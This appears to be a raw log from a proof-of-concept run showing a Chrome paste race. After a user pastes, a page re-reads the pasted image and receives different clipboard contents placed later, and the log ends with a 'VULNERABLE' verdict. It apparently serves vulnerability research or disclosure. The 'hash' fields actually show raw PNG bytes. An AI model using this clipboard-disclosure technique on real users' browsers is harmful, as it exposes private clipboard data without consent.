[http] "GET /poc.html HTTP/1.1" 200 -
[http] "POST /report?tag=ready HTTP/1.1" 200 -
[http] code 404, message File not found
[http] "POST /report?tag=window-open HTTP/1.1" 200 -
[http] "POST /report?tag=before HTTP/1.1" 200 -
[http] "POST /report?tag=after HTTP/1.1" 200 -
[http] "POST /report?tag=done HTTP/1.1" 200 -
png_a.png: 73 bytes
png_b.png: 95 bytes
[server] listening on http://127.0.0.1:8080/poc.html
[driver] clipboard <- png_a.png (73 bytes)
[driver] chrome pid=1207
[server] page ready
[driver] chrome window id=4194307
[driver] sending Ctrl+V
[server] race window OPEN — swap the OS clipboard PNG now
[driver] clipboard <- png_b.png (95 bytes)
[server] received 'before' blob: 73 bytes sha256=2623c363acceb286
[server] received 'after' blob: 95 bytes sha256=67333ec71f010da7
[server] ====================================================
[server] before blob: 73 bytes
[server] after blob: 95 bytes
[server] png_a.png : 73 bytes sha256=2623c363acceb286 (what the user pasted)
[server] png_b.png : 95 bytes sha256=67333ec71f010da7 (placed AFTER paste)
[server] VERDICT: VULNERABLE: page received png_b.png — clipboard contents placed AFTER the user's paste were disclosed to the page
[server] ====================================================
[driver] FINAL VERDICT: VULNERABLE: page received png_b.png — clipboard contents placed AFTER the user's paste were disclosed to the page
chrome> [1207:1207:0412/174651.546776:INFO:CONSOLE:13] "[paste] fired; items=1", source: http://127.0.0.1:8080/poc.html (13)
chrome> [1207:1207:0412/174651.547119:INFO:CONSOLE:13] " item kind=file type=image/png", source: http://127.0.0.1:8080/poc.html (13)
chrome> [1207:1207:0412/174651.563921:INFO:CONSOLE:13] "[paste] execCommand(copy) -> true (snapshot wiped)", source: http://127.0.0.1:8080/poc.html (13)
chrome> [1207:1207:0412/174654.589119:INFO:CONSOLE:13] "[paste] before size=73 after size=95", source: http://127.0.0.1:8080/poc.html (13)
chrome> [1207:1207:0412/174654.600591:INFO:CONSOLE:13] "before hash: 89504e470d0a1a0a0000000d494844520000000400000004080200000026930929000000104944415478da63f8cfc000470cc47100ae930ff1385e8c11000000", source: http://127.0.0.1:8080/poc.html (13)
chrome> [1207:1207:0412/174654.600763:INFO:CONSOLE:13] "after hash: 89504e470d0a1a0a0000000d4948445200000020000000200802000000fc18eda3000000264944415478daedcdb109000008c0b0feffb45ee12004b2a79a6302", source: http://127.0.0.1:8080/poc.html (13)
chrome> [1207:1207:0412/174654.601040:INFO:CONSOLE:13] "*** VULNERABLE: getAsFile() returned a DIFFERENT PNG than the user pasted ***", source: http://127.0.0.1:8080/poc.html (13)